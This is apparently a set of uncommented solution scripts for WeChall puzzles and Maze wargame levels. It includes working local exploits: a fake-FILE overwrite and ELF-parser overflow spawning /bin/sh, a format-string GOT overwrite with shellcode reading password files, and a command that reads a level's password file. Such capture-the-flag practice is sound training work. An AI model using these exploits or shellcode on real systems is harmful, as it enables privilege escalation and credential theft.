def gizcrypt_decrypt(ct, key):
    klen = len(key)
    x, k = 1, -1
    e = 101  # ord('e')
    plain = bytearray()
    for b in ct:
        k += x
        if k >= klen:
            k = 0
            x += 1
            if x >= klen:
                x = 1
        plain.append(key[k % klen] ^ b ^ e)
    return bytes(plain)

import string
from collections import Counter

alphabet = string.ascii_letters  # 52 chars

def key_index_seq(length, klen=11):
    seq = []
    x, k = 1, -1
    for _ in range(length):
        k += x
        if k >= klen:
            k = 0; x += 1
            if x >= klen: x = 1
        seq.append(k % klen)
    return seq

seq = key_index_seq(len(ct))
groups = {i: [] for i in range(11)}
for i, kpos in enumerate(seq):
    groups[kpos].append(ct[i])

key = []
for pos in range(11):
    best = None
    best_score = -9999
    for k in alphabet:
        plain = bytes(k ^ c ^ 101 for c in groups[pos])
        score = sum(4 if b in (32,101,116,97,111) else
                    2 if chr(b).isalpha() or b in (44,46,39) else
                    1 if 32 <= b < 127 else -10
                    for b in plain)
        if score > best_score:
            best_score = score
            best = k
    key.append(best)

full_key = ''.join(key)  # ItsPassword
plain = gizcrypt_decrypt(ct, full_key.encode())
print(plain.decode())     # 包含 answer: 9DD4752982DC

import requests, re

BASE = 'https://www.wechall.net/challenge/lettergrid'
sess = requests.Session()
sess.cookies.set('WC', '...', domain='www.wechall.net')

# 1. 构建 Trie（单词 >= 6 字符）
class TrieNode:
    __slots__ = ('children', 'is_word')
    def __init__(self):
        self.children = {}
        self.is_word = False

root = TrieNode()
for word in open('/usr/share/dict/words'):
    w = word.strip().lower()
    if len(w) >= 6:
        node = root
        for ch in w:
            node = node.children.setdefault(ch, TrieNode())
        node.is_word = True

# 2. 获取网格
r = sess.get(f'{BASE}/generate.php')
match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [list(line.strip().lower()) for line in match.group(1).strip().split('\n') if line.strip()]
ROWS, COLS = len(grid), len(grid[0])

# 3. 8 方向搜索（用 Trie 实时剪枝）
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {}  # word -> (start_r, start_c)

for r in range(ROWS):
    for c in range(COLS):
        for dr, dc in DIRS:
            node, last_word, last_len = root, None, 0
            for step in range(max(ROWS, COLS)):
                nr, nc = r + dr*step, c + dc*step
                if not (0 <= nr < ROWS and 0 <= nc < COLS): break
                ch = grid[nr][nc]
                if ch not in node.children: break
                node = node.children[ch]
                if node.is_word:
                    word = ''.join(grid[r+dr*s][c+dc*s] for s in range(step+1))
                    if word not in found:
                        found[word] = (r, c)

# 4. 按起始位置排序后提交
answer = ''.join(sorted(found.keys(), key=lambda w: found[w]))
print(f'Found {len(found)} words: {sorted(found.keys())}')

r = sess.get(f'{BASE}/index.php', params={'solution': answer, 'cmd': 'Submit Answer'})
if 'solved' in r.text.lower() or 'correct' in r.text.lower():
    print('SOLVED!')

import requests

BASE = 'https://www.wechall.net/en/challenge/training/programming/knapsaak'
COOKIES = {'WC': '...'}

def parse_problem(text):
    items = []
    meta = {}
    for line in text.strip().split('\n'):
        if '=' not in line: continue
        k, v = line.split('=', 1)
        k, v = k.strip(), v.strip()
        if k in ('Items', 'Sum', 'Stock', 'Level'):
            meta[k] = int(v)
        else:
            items.append((k, int(v)))   # (name, price)
    return items, meta['Items'], meta['Sum'], meta['Stock']

def solve(items, need_count, need_sum, stock):
    n = len(items)
    prices = [p for _, p in items]
    names = [n for n, _ in items]
    # 按价格降序排列（剪枝效果更好）
    order = sorted(range(n), key=lambda i: -prices[i])
    sp = [prices[i] for i in order]

    memo = {}
    def dfs(idx, ri, rs):
        if ri == 0 and rs == 0:
            return [0] * (n - idx)
        if idx == n or ri < 0 or rs < 0:
            return None
        key = (idx, ri, rs)
        if key in memo:
            return memo[key]
        # 剪枝：剩余件数超出库存限制
        if ri > stock * (n - idx):
            memo[key] = None; return None
        # 剪枝：剩余金额超出价格范围
        min_p, max_p = min(sp[idx:]), max(sp[idx:])
        if rs < ri * min_p or rs > ri * max_p:
            memo[key] = None; return None

        p = sp[idx]
        for qty in range(min(stock, ri, rs // p) + 1):
            sub = dfs(idx + 1, ri - qty, rs - qty * p)
            if sub is not None:
                memo[key] = [qty] + sub
                return memo[key]
        memo[key] = None
        return None

    qs = dfs(0, need_count, need_sum)
    if qs is None: return None
    # 按原始顺序还原
    quants = [0] * n
    for i, orig_idx in enumerate(order):
        quants[orig_idx] = qs[i]
    # 拼接答案：qtyName...
    return ''.join(str(quants[i]) + names[i]
                   for i in range(n) if quants[i] > 0)

s = requests.Session()
s.cookies.update(COOKIES)

for round_num in range(5):
    resp = s.get(f'{BASE}/problem.php')
    items, cnt, target, stock = parse_problem(resp.text)
    answer = solve(items, cnt, target, stock)
    resp2 = s.get(f'{BASE}/answer.php', params={'answer': answer})
    print(f'Round {round_num+1}: {resp2.text.strip()}')

def from_base(s, charset, base):
    value = 0
    table = {ch: i for i, ch in enumerate(charset[:base])}
    for ch in s:
        value = value * base + table[ch]
    return value

def to_base(n, charset, base):
    if n == 0:
        return charset[0]
    out = []
    while n:
        n, r = divmod(n, base)
        out.append(charset[r])
    return ''.join(reversed(out))

import re, sys
from urllib.request import Request, urlopen

CHALL_URL = 'http://www.wechall.net/en/challenge/anto/FlowOverAstronomy/index.php'
COOKIE = 'WC=...'

def fetch():
    req = Request(CHALL_URL, headers={'Cookie': COOKIE})
    return urlopen(req, timeout=10).read().decode()

def from_base(s, charset, base):
    table = {ch: i for i, ch in enumerate(charset[:base])}
    v = 0
    for ch in s: v = v * base + table[ch]
    return v

def to_base(n, charset, base):
    if n == 0: return charset[0]
    out = []
    while n: n, r = divmod(n, base); out.append(charset[r])
    return ''.join(reversed(out))

html = fetch()
# Parse parameters
charset  = re.search(r'Charset:\s*(\S+)', html).group(1)
in_base  = int(re.search(r'Input Base:\s*(\d+)', html).group(1))
out_base = int(re.search(r'Solution Base:\s*(\d+)', html).group(1))
# Parse equation — split on operators, handle multi-line
eq_match = re.search(r'Equation\s*\n(.*?)(?=\n©)', html, re.DOTALL)
eq = eq_match.group(1).replace('\n', '').strip()

# Evaluate: split by + first, then *
terms = eq.split('+')
product_terms = terms[0].split('*')
add_term = terms[1].strip()

result = 1
for t in product_terms:
    result *= from_base(t.strip(), charset, in_base)
result += from_base(add_term, charset, in_base)

answer = to_base(result, charset, out_base)
print(answer)  # 提交这个值

import sys
P = sys.hash_info.modulus  # 64-bit CPython: 2**61 - 1 = 2305843009213693951

import sys
P = sys.hash_info.modulus
candidate = 31337 + P  # 2305843009213725288
print(hash(candidate))  # 31337

import sys

def fly_away(num: int) -> bool:
    return hash(num) == 31337

P = sys.hash_info.modulus          # 2**61 - 1
num = 31337 + P                    # 2305843009213725288
assert fly_away(num)               # True
print(num)                         # 提交这个数

import colorsys

r, g, b = 135, 194, 41

# RGB -> HSV
h, s, v = colorsys.rgb_to_hsv(r/255, g/255, b/255)
# h = 83° (色相角度), s = 79% (饱和度), v = 76% (明度)

# HSV -> RGB (可逆)
r2, g2, b2 = colorsys.hsv_to_rgb(h, s, v)
# (r2,g2,b2) == (135,194,41)  # 无损还原

#!/usr/bin/env python3
from PIL import Image
import colorsys
from collections import Counter

img = Image.open('caterpillar.png').convert('RGBA')
w, h = img.size

# 逐列取最常见的非白色 Hue
x_hues = {}
for x in range(w):
    hues = []
    for y in range(h):
        r, g, b, a = img.getpixel((x, y))
        if (r, g, b) == (255, 255, 255):
            continue
        h_val, _, _ = colorsys.rgb_to_hsv(r/255, g/255, b/255)
        hues.append(round(h_val * 360))
    if hues:
        x_hues[x] = Counter(hues).most_common(1)[0][0]

# 合并连续相同 Hue 为段，只保留稳定段（>=10 列宽）
result = []
run_h, run_start, run_len = None, None, 0
for x in range(w):
    h = x_hues.get(x)
    if h == run_h:
        run_len += 1
    else:
        if run_len >= 10 and 32 <= run_h <= 126:
            result.append(chr(run_h))
        run_h, run_start, run_len = h, x, 1

if run_len >= 10 and 32 <= run_h <= 126:
    result.append(chr(run_h))

decoded = ''.join(result)
print(f'Decoded Hue sequence: {decoded}')
print(f'Answer (last word):   {decoded.split()[-1]}')

letters = [c for c in encoded_text if c.isalpha()]
bits = ''.join('0' if c.lower() < 'n' else '1' for c in letters if c.isupper())
answer = ''.join(chr(int(bits[i:i+5], 2) + 65) for i in range(0, len(bits), 5))

import pty, os, time

pid, fd = pty.fork()
if pid == 0:
    os.execv("/maze/maze5", ["/maze/maze5"])
else:
    time.sleep(0.5)
    os.write(fd, b"A?=;9753\n")
    time.sleep(0.3)
    os.write(fd, b"printlol\n")
    time.sleep(0.3)
    os.write(fd, b"cat /etc/maze_pass/maze6\n")
    time.sleep(0.5)
    while True:
        data = os.read(fd, 4096)
        if not data: break
        print(data.decode(errors="ignore"), end="")

def pre_xor(val):
    return val ^ 0x2A2A2A2A  # 每个字节 XOR 0x2A

# memfrob 会把 buf[i] ^= 0x2A
# 所以放入 buf 的字节 = desired_byte ^ 0x2A
# → 经过 memfrob 后恢复为 desired_byte

import struct, os

def pre_xor_dword(val):
    return val ^ 0x2A2A2A2A

def pre_xor_bytes(data):
    return bytes([b ^ 0x2a for b in data])

# ---- addresses (ASLR off, glibc 2.39) ----
buf_addr       = 0xffffda74
exit_got       = 0x0804b208
libc_base      = 0xf7d82000
io_file_jumps  = libc_base + 0x002287a8   # 0xf7faa7a8
real_lock      = 0x0804c238               # reuse fopen's lock

# ---- build fake FILE (0x98 bytes) ----
fake_file_off  = 0x30                     # offset in buf
fake_file_addr = buf_addr + fake_file_off

fake = b''
fake += struct.pack('<I', pre_xor_dword(0xfbad2480))    # 0x00 _flags
fake += struct.pack('<I', pre_xor_dword(0)) * 3          # 0x04-0x0C read ptrs
fake += struct.pack('<I', pre_xor_dword(exit_got))       # 0x10 _IO_write_base
fake += struct.pack('<I', pre_xor_dword(exit_got))       # 0x14 _IO_write_ptr
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x18 _IO_write_end
fake += struct.pack('<I', pre_xor_dword(exit_got))       # 0x1C _IO_buf_base
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x20 _IO_buf_end
for _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) # 0x24-0x34
fake += struct.pack('<I', pre_xor_dword(2))              # 0x38 _fileno
for _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) # 0x3C-0x44
fake += struct.pack('<I', pre_xor_dword(real_lock))      # 0x48 _lock
fake += struct.pack('<Q', pre_xor_dword(0))              # 0x4C _offset (8 bytes)
for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) # 0x54-0x60
fake += struct.pack('<Q', pre_xor_dword(0))              # 0x64 __pad5
fake += struct.pack('<I', pre_xor_dword(0))              # 0x6C _mode
for _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) # 0x70-0x93
fake += struct.pack('<I', pre_xor_dword(io_file_jumps))  # 0x94 vtable

assert len(fake) == 0x98

# ---- shellcode: execve("/bin/sh") ----
sc = (
    b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
    b'\x68\x2f\x62\x69\x6e\x89\xe3\x50'
    b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
)
sc_prexor = pre_xor_bytes(sc)

# ---- assemble payload ----
payload  = sc_prexor
payload += bytes([0x2a] * (fake_file_off - len(payload)))  # pad to fake FILE
payload += fake
payload += bytes([0x2a] * (0x100 - len(payload)))           # pad to fd
payload += struct.pack('<I', pre_xor_dword(fake_file_addr))# overwrite fd

# ---- argv[1] = 4 bytes = buf_addr ----
argv1 = struct.pack('<I', buf_addr)  # \x74\xda\xff\xff

# ---- execute ----
os.chdir('/tmp')
os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])

#!/usr/bin/env python3
from pathlib import Path
import struct

def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx):
    e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1
    struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx)
    return e

def build(ret, buf, path):
    data=bytearray(b'\x00'*0x800)
    data[:52]=ehdr(0x100,0,220,0)
    data[0x180:0x183]=b'\x00Z\x00'
    sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80')
    payload=bytearray(b'\x00'*220)
    # ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer.
    struct.pack_into('<I', payload, 0x00, 0x0804a008)
    struct.pack_into('<I', payload, 0x0c, 0x11111111)  # sh_addr
    struct.pack_into('<I', payload, 0x10, 0x180)       # sh_offset
    struct.pack_into('<I', payload, 0x14, 3)           # sh_size
    payload[72:74]=b'A\x00'
    # Overwritten locals after 40-byte shdr.
    struct.pack_into('<I', payload, 40, 0)             # ptr local -> NULL; printf uses absolute sh_name
    struct.pack_into('<I', payload, 44, 0)             # var_10h scratch
    struct.pack_into('<I', payload, 48, 0)             # strs local -> NULL; free(NULL) safe
    struct.pack_into('<I', payload, 52, 0)             # shdr counter
    struct.pack_into('<I', payload, 56, 0x42424242)    # saved ebx
    struct.pack_into('<I', payload, 60, 0x43434343)    # saved ebp
    struct.pack_into('<I', payload, 64, ret)           # saved eip
    payload[80:160]=b'\x90'*80
    payload[160:160+len(sc)]=sc
    data[0x100:0x100+len(payload)]=payload
    Path(path).write_bytes(data)

if __name__ == '__main__':
    import sys
    ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70
    buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14
    build(ret, buf, 'maze7_exploit.elf')
    print(hex(ret), hex(buf))

payload  = p32(strlen_got)
payload += p32(strlen_got + 2)
payload += b"%<low-8>x%1$hn"
payload += b"%<high-low>x%2$hn"
payload += b"\x90" * pad
payload += shellcode

#!/usr/bin/env python3
import socket
import struct
import subprocess
import sys
import time
import select

PORT = 31338
STRLEN_GOT = 0x0804b268
TARGET = 0xffffda50

# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)
SC = bytes.fromhex(
    '31c0b0a431db66bba13a89d989dacd80'
    '31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80'
    '89c389e1b240b003cd80'
    '89c231dbb304b004cd80'
    '31dbb001cd80'
)


def payload_for(target):
    low = target & 0xffff
    high = (target >> 16) & 0xffff
    writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)]
    writes.sort(key=lambda item: item[1])
    prefix = struct.pack('<II', writes[0][0], writes[1][0])
    count = len(prefix)
    pad1 = (writes[0][1] - count) % 0x10000
    pad2 = (writes[1][1] - writes[0][1]) % 0x10000
    fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode()
    return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'


proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(0.4)
try:
    sock = socket.create_connection(('127.0.0.1', PORT), timeout=2)
    sock.recv(200)
    sock.sendall(payload_for(TARGET))
    end = time.time() + 4
    out = b''
    while time.time() < end:
        readable, _, _ = select.select([sock], [], [], 0.2)
        if not readable:
            continue
        chunk = sock.recv(4096)
        if not chunk:
            break
        out += chunk
    sys.stdout.buffer.write(out)
finally:
    proc.terminate()
    try:
        proc.wait(timeout=1)
    except subprocess.TimeoutExpired:
        proc.kill()